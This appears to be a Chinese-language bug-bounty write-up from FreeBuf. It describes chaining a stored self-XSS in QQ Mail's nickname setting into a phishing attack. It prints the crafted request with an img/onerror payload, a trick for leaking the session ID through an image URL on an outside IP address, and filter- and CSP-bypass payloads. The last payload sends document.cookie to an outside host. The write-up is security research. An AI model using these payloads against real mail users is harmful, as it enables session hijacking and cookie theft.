QQ郵箱從Self-XSS到釣魚攻擊分析(多漏洞利用攻擊鏈)
前言:疫情在家閒着無聊準備挖洞提src換點錢買個新電腦,對着TX的域名一頓操作,奈何太菜只在QQ郵箱發現一個存儲型self-xss。本着維護網絡安全爲己任的偉大夢想,怎麼能放任這個漏洞不被修復呢?必須繼續挖下去!!!
一、self-xss
qq郵箱在賬戶設置中因爲編輯器原因存在多處XSS,其中暱稱處存在存儲型XSS。
二、抓包改命
打開BURP,進行抓包,把更改暱稱的包抓下來,發現是POST包,去掉無關參數改成get。
https://mail.qq.com/cgi-bin/setting4_editaccount? sid=g9g7NNlnserJcHAu& fun=edit&alias=6024539%40qq.com& acctid=0&taskid=0&signvalid=1& nickname=%3Cimg+src%3D1.gif+onerror%3Dalert%28"邊界駭客"%29%3E &selectSign=-1
從上面get包可以看出 nickname 爲XSS參數,其中 sid 爲關鍵參數,只要獲取到sid就可以惡意構造數據包,誘騙別人點擊從而觸發XSS。
三、坎坷的SID獲取
通過搜索觀察JS等繁瑣操作,發現本地文件上傳會自動獲取到sid值。
http://202.182.100.68?mail.qq.com/cgi-bin/download? sid=EUpcQayQKHM4MzNt& upfile=7ZEaLqhogztd7WCLUL6pFXYarCUpMrqvb9FQGM5%2FLP%2FOd8yiJIFnHJetwNJtTadXhJHD1o%2B%2BzMOXwZGBd45fawmHtqR0CBxF0i35YN7jRAQNg%2B6blIvZyZwWQ4V2GW4RhMuLcCc4uv%FxFICwqvJPiQ%3D%3D
讓服務器誤判圖片爲本地上傳至文件服務器的,這樣只要別人打開你的郵件就可以獲取到sid值。
四、惡意構造get包,觸發XSS獲取cookie
在構造XSS的時候發現,XSS字符串存在字符限定和觸發過濾限制,這裏要感謝公衆號:鍾馗之眼的作者
4.1字符串長度限制
<img src=1 onerror=eval(window.parent.location.hash.substr(1))>
4.2單雙引號限制
eval(String.fromCharCode())
4.3CSP繞過
img=document.createElement('img');img.src='http://image.3001.net/2020/02/eec6417cf66331c0eee621cb445e205d.jpg'+escape(document.cookie);document.body.appendChild(img);
這樣就可以完美完成此次的釣魚攻擊了。效果圖如下:
*本文原創作者:꧁,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載